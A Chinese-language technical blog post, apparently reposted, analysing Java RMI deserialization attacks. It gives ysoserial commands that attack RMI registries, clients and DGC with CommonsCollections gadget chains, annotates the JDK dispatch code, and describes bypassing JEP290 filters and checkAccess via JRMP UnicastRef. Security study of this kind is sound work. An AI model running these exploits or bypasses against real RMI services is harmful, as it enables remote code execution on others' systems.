Java RMI

RMI - 安全篇

RMI分为三个主体部分:

*Client-客户端*:客户端调用服务端的方法

*Server-服务端*:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

*Registry-注册中心*:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。

*宏观上看,RMI远程调用步骤*

1)客户对象调用客户端辅助对象上的方法;

2)客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象;

3)服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象;

4)调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象;

5)服务端辅助对象将结果打包,发送给客户端辅助对象;

6)客户端辅助对象将返回值解包,返回给客户对象;

7)客户对象获得返回值;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

详细来看,对于Client来说,他甚至可以不知道有Server的存在,所有他需要的只是一个stub,对于Client来说,调用远程方法就是调用Stub的方法,

从我们一个局外人的角度上看,数据是在Client和Server之间是横向流动的,但是微观上看整个流程必有网络层面的大量的纵向流动,一个请求先从Client发出,交给Stub,走过Transport Layer之后交由Skeleton,最后到Server,Server调用相应方法,然后将结果原路返回,流程如下:

1.Server监听一个端口,此端口由JVM随机选择(这一点在ysoserial中可见);

2.Client对于Server上的远程对象的位置信息(通信地址和端口)一无所知,只知道****向stub发起请求****,而stub中包含了这些信息,并封装了底层网络操作;

3.Client调用Stub上对应的方法;

4.Stub连接到Server监听的通信端口并提交方法的参数;

5.Server上执行具体的方法,并****将结果原路返回给Stub****;

对于Client来说,远程调用的执行结果是Stub给它的,从Client看来就好像是Stub在本地执行了这个方法一样。

*RMI服务端与客户端实现*

*服务端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java

package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服务端** @param args*/public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl obj = new ServicesImpl();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {// 创建Registryreg = LocateRegistry.createRegistry(9998);System.out.println("Java RMI registry created. port on 9998...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}// 绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

关于绑定的地址很多博客会rmi://ip:port/Objectname的形式

实际上看rebind源码就知道rmi:写不写都行。

port如果默认是1099,不写会自动补上,其他端口就必须写

这里就会想一个问题:注册中心跟服务端可以分离么?

个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及****官方文档****是这么说的:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

那么就是****一般来说注册中心跟服务端是不能分离的****。

*客户端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java

package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI恶意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);// 获取远程对象的引用Services services = (Services) registry.lookup("Services");
//        PublicKnown malicious = new PublicKnown();
//        malicious.setParam("calc");
//        malicious.setMessage("haha");// 使用远程对象的引用调用对应的方法
//        System.out.println(services.sendMessage(malicious));System.out.println(services.hello());}
}

需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)

Naming.lookup查找远程对象,rmi:可省略

*传输过程*

客户端序列化传输调用函数的输入参数至服务端,服务端返回序列化的执行结果至客户端。

对应的代码是这一句

String ret = hello.hello(“input!gogogogo”);

RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同。

*服务端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*客户端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

服务端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch

    // 通过客户端提供的var4去验证客户端想要调用的方法,在这里有没有// ***\*this.hashToMethod_Map\*******\*就是在服务端实现的RMI服务对象的方法\****Method var8 = (Method)this.hashToMethod_Map.get(var4);// 如果没有,var8就为null,报错“想调用的方法在这里不存在”if (var8 == null) {throw new UnmarshalException("unrecognized method hash: method not supported by remote object");

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*this.hashToMethod_Map**就是在服务端实现的RMI服务对象的方法*

这里切了jdk为8u66

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

要想全局搜索生效,还需清下缓存。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

–RMI服务端反序列化攻击RMI注册端

*注册中心代码*

创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {public String sayHello(String from) throws java.rmi.RemoteException;
}

创建注册中心代码

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;public class Registry {public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);} catch (RemoteException e) {
​      e.printStackTrace();}while (true) ;}
}

利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)这里插入payload)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

触发反序列化操作位置

sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我们可以叫做RMI注册任务分发处,就是注册端处理请求的地方)其实是从sun.rmi.server.*UnicastServerRef#dispatch*(RMI请求分发处)那边过来的。

sun.rmi.registry.RegistryImpl_Skel#dispatch:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一处接口hash验证if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {//设定变量开始处理请求//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法RegistryImpl var6 = (RegistryImpl)var1;//接受客户端输入流的参数变量String var7;Remote var8;ObjectInput var10;ObjectInput var11;//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句//super.ref.newCall(this, operations, 0, 4905912898345647071L);switch(var3) {//统一删除了try等语句case 0://bind(String,Remote)分支
​          var11 = var2.getInputStream();//1.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.bind(var7, var8);case 1://list()分支
​          var2.releaseInputStream();String[] var97 = var6.list();ObjectOutput var98 = var2.getResultStream(true);
​          var98.writeObject(var97);case 2://lookup(String)分支
​          var10 = var2.getInputStream();//2.反序列化触发处
​          var7 = (String)var10.readObject();
​          var8 = var6.lookup(var7);case 3://rebind(String,Remote)分支
​          var11 = var2.getInputStream();//3.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.rebind(var7, var8);case 4://unbind(String)分支
​          var10 = var2.getInputStream();//4.反序列化触发处
​          var7 = (String)var10.readObject();
​          var6.unbind(var7);default:throw new UnmarshalException("invalid method number");}}
}

可以得到4个反序列化触发处:lookup、unbind、rebind、bind

4个接口有两类参数,String和Remote类型的Object。

RMI注册端没有任何校验,payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。

–RMI注册端反序列化攻击RMI客户端

利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下实测可用)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端代码位置

sun.rmi.registry.RegistryImpl_Stub#lookup

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections1的调用链,所以这里直接反序列化就会触发。

–RMI客户端反序列化攻击RMI注册端

利用ysoserial.exploit.JRMPClient即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

sun.rmi.transport.DGCImpl_Skel#dispatch(跟上边的服务端攻击注册端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一样,但极其类似)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一样是一个dispatch用于分发作用的方法//固定接口hash校验if (var4 != -669196253586618813L) {throw new SkeletonMismatchException("interface hash mismatch");} else {DGCImpl var6 = (DGCImpl)var1;ObjID[] var7;long var8;//判断dirty和clean分支流switch(var3) {//***\*clean分支流\****case 0:VMID var39;boolean var40;try {//从客户端提供的输入流取值ObjectInput var14 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var14.readObject();
​          var8 = var14.readLong();
​          var39 = (VMID)var14.readObject();
​          var40 = var14.readBoolean();} catch (IOException var36) {throw new UnmarshalException("error unmarshalling arguments", var36);} catch (ClassNotFoundException var37) {throw new UnmarshalException("error unmarshalling arguments", var37);} finally {
​          var2.releaseInputStream();}//进行clean操作,已经完成了攻击,之后操作已经不重要了。
​        var6.clean(var7, var8, var39, var40);//..省略部分无关操作//***\*dirty方法分支流\****,跟clean在漏洞触发点上是一样的case 1:Lease var10;try {//从客户端提供的输入流取值ObjectInput var13 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var13.readObject();
​          var8 = var13.readLong();
​          var10 = (Lease)var13.readObject();} catch (IOException var32) {throw new UnmarshalException("error unmarshalling arguments", var32);} catch (ClassNotFoundException var33) {throw new UnmarshalException("error unmarshalling arguments", var33);} finally {
​          var2.releaseInputStream();}Lease var11 = var6.dirty(var7, var8, var10);//..省略无关操作default:throw new UnmarshalException("invalid method number");}}

这个DGC是用于维护服务端中被客户端使用的远程引用才存在的。其中包括两个方法dirty和clean,简单来说:

客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。

客户端不使用的时候,需要调用clean方法来清除这个远程引用。

由于我们的RMI服务就是基于远程引用的,其底层的远程引用维护就是使用DGC,起一个RMI服务必有DGC层。于是我们就打这个DGC服务。

相对于RMIRegistryExploit模块,这个JRMPClient模块攻击范围更广,因为RMI服务端或者RMI注册端都会开启DGC服务端。

DGCImpl_Skel是服务端代码,DGCImpl_Stub是客户端代码;但是这两个class无法下断点调试(可能是动态生成)。所以在其内部调用的其他方法下断点来调试。

DGC客户端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

DGC服务端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

之前RMIRegistryExploit是bind(name,payload)这里插入payload,然后传输到服务端。

*DGC客户端**插入payload的位置*

sun.rmi.transport.DGCImpl_Stub#dirty(clean其实也一样)

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {try {//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);try {//获取连接的输入流ObjectOutput var6 = var5.getOutputStream();//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]//***这里就是我们payload写入的地方***
​        var6.writeObject(var1);//------
​        var6.writeLong(var2);
​        var6.writeObject(var4);} catch (IOException var20) {throw new MarshalException("error marshalling arguments", var20);}super.ref.invoke(var5);Lease var24;try {ObjectInput var9 = var5.getInputStream();
​        var24 = (Lease)var9.readObject();//省略大量错误处理..
}

针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。

ysoserial的JRMP-Client exploit模块就是这么实现的,其核心在于makeDGCCall方法:

// 传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {InetSocketAddress isa = new InetSocketAddress(hostname, port);Socket s = null;DataOutputStream dos = null;try {// 建立一个socket通道,并为赋值
​    s = SocketFactory.getDefault().createSocket(hostname, port);
​    s.setKeepAlive(true);
​    s.setTcpNoDelay(true);// 读取socket通道的数据流OutputStream os = s.getOutputStream();
​    dos = new DataOutputStream(os);// *******开始拼接数据流*********// 以下均为特定协议格式常量// 传输魔术字符:0x4a524d49(代表协议)
​    dos.writeInt(TransportConstants.Magic);// 传输协议版本号:2(就是版本号)
​    dos.writeShort(TransportConstants.Version);// 传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
​    dos.writeByte(TransportConstants.SingleOpProtocol);// 传输指令-RMI call:0x50
​    dos.write(TransportConstants.Call);@SuppressWarnings ( "resource" )final ObjectOutputStream objOut = new MarshalOutputStream(dos);// DGC的固定读取格式
​    objOut.writeLong(2); // DGC
​    objOut.writeInt(0);
​    objOut.writeLong(0);
​    objOut.writeShort(0);// 选取DGC服务端的分支选dirty
​    objOut.writeInt(1); // dirty// 固定的hash值
​    objOut.writeLong(-669196253586618813L);// 我们的payload写入的地方
​    objOut.writeObject(payloadObject);​    os.flush();}

*payload触发点**(DGC服务端)*

sun.rmi.transport.DGCImpl_Skel#dispatch

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*DGC读取格式是固定的*

在sun.rmi.transport.Transport#serviceCall读取了参数之后进行了校验

try {id = ObjID.read(call.getInputStream());} catch (java.io.IOException e) {throw new MarshalException("unable to read objID", e);}/* get the remote object */
//该dgcID是一个常量,此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0,0,0](三个都是我们序列化写入的值)分别是:
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash,判断当前DGC客户端有没有服务端的远程对象
//就是dirty,clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

–JEP290修复

在JEP290规范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻击就不奏效了(RMI客户端利用传递参数反序列化攻击RMI服务端不受限制)。

JEP290修复之前,即Java版本6u141、7u131、8u121之前,直接用yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit

JEP290修复之后,即Java版本6u141、7u131、8u121之后,针对于yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit
jdk分别做了相关白名单

针对于ysoserial.exploit.JRMPClient
调用栈:
checkInput:409, DGCImpl (sun.rmi.transport)
access 300 : 72 , D G C I m p l ( s u n . r m i . t r a n s p o r t ) l a m b d a 300:72, DGCImpl (sun.rmi.transport) lambda 300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl 2 2 2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.transport.DGCImpl#checkInput()添加白名单
可以看到这里的白名单包括Primitive、ObjID、UID、VMID、Lease等,ysoserial传递的payload对象类型并不在白名单范围中,因此会返回Status.REJECTED导致利用失败。经过后续的查找发现这种利用姿势因为在高版本jdk的严格白名单过滤场景下基本已经没有利用可能了。

针对于ysoserial.exploit.RMIRegistryExploit
调用栈:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.registry.RegistryImpl#registryFilter()添加白名单
·前边的sun.rmi.transport.DGCImpl#checkInput()是针对分布式垃圾收集器的
·当前的sun.rmi.registry.RegistryImpl#registryFilter()是针对RMI注册机制的
这两个的过滤白名单是不一样的,也就为后续的绕过埋下了基础。
可以看到相关的白名单有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID这几个类,而后续的绕过就是其中的UnicastRef。

sun.rmi.transport.DGCImpl#checkInput过滤器:private static Status checkInput(FilterInfo var0) {//与sun.rmi.registry.RegistryImpl#registryFilter处过滤器完全一致if (dgcFilter != null) {Status var1 = dgcFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > (long)DGC_MAX_DEPTH) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 == null) {return Status.UNDECIDED;} else {while(var2.isArray()) {if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {return Status.REJECTED;}​          var2 = var2.getComponentType();}if (var2.isPrimitive()) {return Status.ALLOWED;} else {//4种白名单限制return var2 != ObjID.class &&
​            var2 != UID.class &&
​            var2 != VMID.class &&
​            var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;}}}}sun.rmi.registry.RegistryImpl#registryFilterprivate static Status registryFilter(FilterInfo var0) {if (registryFilter != null) {Status var1 = registryFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > 20L) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 != null) {if (!var2.isArray()) {return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;} else {return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;}} else {return Status.UNDECIDED;}}
}

白名单列表:

String.class

Number.class

Remote.class

Proxy.class

UnicastRef.class

RMIClientSocketFactory.class

RMIServerSocketFactory.class

ActivationID.class

UID.class

*调用栈*

registryFilter:427, RegistryImpl (sun.rmi.registry)

checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)

filterCheck:1239, ObjectInputStream (java.io)

readProxyDesc:1813, ObjectInputStream (java.io)

readClassDesc:1748, ObjectInputStream (java.io)

readOrdinaryObject:2042, ObjectInputStream (java.io)

readObject0:1573, ObjectInputStream (java.io)

readObject:431, ObjectInputStream (java.io)

dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch:468, UnicastServerRef (sun.rmi.server)

dispatch:300, UnicastServerRef (sun.rmi.server)

run:200, Transport$1 (sun.rmi.transport)

run:197, Transport$1 (sun.rmi.transport)

doPrivileged:-1, AccessController (java.security)

serviceCall:196, Transport (sun.rmi.transport)

handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)

doPrivileged:-1, AccessController (java.security)

run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

runWorker:1149, ThreadPoolExecutor (java.util.concurrent)

run:624, ThreadPoolExecutor$Worker (java.util.concurrent)

run:748, Thread (java.lang)

–利用JRMP反序列化绕过JEP290

JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。

*JRMP*

Java远程消息交换协议(Java Remote MessagingProtocol),是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。

*JRMP服务端打JRMP客户端*

JRMP是DGC和RMI的底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来(大概是这样)。

利用ysoserial.exploit.JRMPListener即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端:

public class Client {public static void main(String[] args) throws Exception{String url = "rmi://127.0.0.1:1099/User";Object a = Naming.lookup(url);User userClient = (User)Naming.lookup(url);

—UnicastRef对象

只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名单限制已不可用。

可参考:

记一次高版本下远程RMI反序列化利用分析 (qq.com)

具体的思路大概是传递一个在白名单中的UnicastRef对象,其中包含序列化的一个RMI主动链接请求,经过上面的registryFilter之后来到反序列化环节解析后会主动发起一个RMI连接从而绕过JEP290。因此这里的利用得用到2个模块:

  1. 生成UnicastRef对象并发送
  2. 起一个JRMPListener来监听端口,等待反序列化后的主动回连

利用JRMP(UnicastRef)
CC6的调用栈:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

关键点:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是还原恶意UnicastRef对象,而releaseInputStream()才是真正调用此恶意UnicastRef对象发出JRMP请求的

releaseInputStream()调用恶意UnicastRef对象发出JRMP请求
调用栈:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

bind() + UnicastRef
lookup() + UnicastRef

CheckAccess策略
以jdk8为例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前会有checkAccess()来检查地址
有checkAccess()以后不能再远程bind,即使可以绕过白名单依然会报错。

注册中心时反序列化的点在RegistryImpl_Skel#dispatch(),其中的var3代表客户端发起连接的方法,其中对应的关系为:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()

改造bind()进行绕过

先来看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
关键代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里绕过的关键点首先是参数var3,通过一个switch判断进到不同的case语句中,可以看到在case0/3/4的一开始就会调用checkAccess()检查bind的来源,因此要控制var3的值让它等于case1或case2从而绕过checkAccess()。而var3的值是在调用栈上层的sun.rmi.server.UnicastServerRef#dispatch()中从序列化的数据中用readInt()读出来的,也就是说这个值是可以控制的,这个值在代码注释中的解释是opnum,也就是操作数,根据传入对象的不同来选择不同的处理逻辑。

var3的可控输入点在原始bind(),代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看到try之后的第一个语句中的newCall方法,其中第三个参数即是opnum,在原始bind方法中opnum为0,需要将opnum的值设置为1或2。

那么到底是1还是2呢?
其实,调试原本的case0的逻辑可知,readObeject()并不是真正的触发点,只是从输入中反序列化出我们构造的UnicastRef对象,然后进到finally的releaseInputStream()。
因此要进入的case得同时包含readObeject()和releaseInputStream()这两个方法,而符合这个条件的只有case2。
但其实,case2就是对lookup()的处理逻辑,所以只有1个readObeject(),原本的case0是有2个readObeject()的,所以还需要修改writeObeject()的顺序

C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java

理解了bind()的改造,lookup()的改造就很简单了,其实就是替换参数类型
在本地重写一个lookup,替换原来的String参数为Obejct

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18341.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python双色球选号程序的实现与解析

新书上架~👇全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一、引言:双色球选号游戏的魅力 二、程序设计与实现 1. 生成红色球号码 2. 生…

3.游戏中自定义数据类型的解读分析

知识来源于腾讯课堂易道云 结构的解释: 计算机里的所有东西都是用二进制表示的,二进制是数字,我们用的阿拉伯数字0-9这个数字是十进制,计算机用的是二进制只有0或1,然后都是一堆0或1的数字,游戏中怎么把这…

AD使用问题

设计流程: 1.先创建项目——添加原理图,原理图库,PCB,PCB库 2.画原理图库和封装库 主要有三种方法: (1)手动画库和封装,常常用于嘉立创查询不到的器件 (2&#xff0…

双机多网口配置同网段地址,可以通过目的IP确定接收数据的网卡吗?

环境 两台机器两网卡同网段接入同一个二层交换机。 机器A ens38 00:0c:29:a4:8b:fb 10.0.0.11/24 ens39 00:0c:29:a4:8b:05 10.0.0.12/24 机器B ens38 00:0c:29:4f:a6:c4 10.0.0.21/24 ens39 00:0c:29:4f:a6:ce 10.0.0.22/24 初始ARP表 只有管理口接口的ARP表项&#xff0c…

浙江大学数据结构MOOC-课后习题-第十讲-排序4 统计工龄

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 这道题很明显就是利用桶排序的思路 受到课程内容的影响,我一开始是想着建立一个链表数组,数组内每个元素下方都存放链表,最后再遍历统计输出。 但是&…

【华为OD机试-C卷D卷-200分】反射计数(C++/Java/Python)

【华为OD机试】-(A卷+B卷+C卷+D卷)-2024真题合集目录 【华为OD机试】-(C卷+D卷)-2024最新真题目录 题目描述 给定一个包含 0 和 1 的二维矩阵。 给定一个初始位置和速度,一个物体从给定的初始位置出发,在给定的速度下进行移动,遇到矩阵的边缘则发生镜面发射。 无论物体…

Android和flutter交互,maven库的形式导入aar包

记录遇到的问题,在网上找了很多资料,都是太泛泛了,使用后,还不能生效,缺少详细的说明,或者关键代码缺失,我遇到的问题用红色的标注了 导入aar包有两种模式 1.比较繁琐的,手动将aar…

The Sandbox DAO:投票决定元宇宙的未来!

赋予用户治理权,打造由社群运营的开放式数码国度 随着The Sandbox DAO的启动,我们邀请全球社群——这个新数字国度的公民们——提出建议并参与治理,共同塑造开放元宇宙的未来。 介绍 在The Sandbox,我们正在建立一个开放的元宇宙…

opencv c++编程基础

1、图片的本质 图像在 OpenCV 中的本质 在 OpenCV 中,图像被表示为一个多维数组,其中每个元素对应于图像中的单个像素。图像的维度取决于其通道数和像素数。 **通道数:**图像可以有多个通道,每个通道存储图像的不同信息。例如&…

李廉洋:5.22黄金原油高位震荡,今日最新行情分析策略。

黄金消息面分析:根据4月份的通胀数据,加拿大央行6月5日降息应该是“理所当然的”。加拿大的整体通货膨胀率在4月份降至2.7%,为自2021年初以来的最低水平,核心CPI中加拿大央行的两项首选数据均降至3%以下。加拿大央行在决定降息之前…

鸿蒙学习第一课--认识目录结构

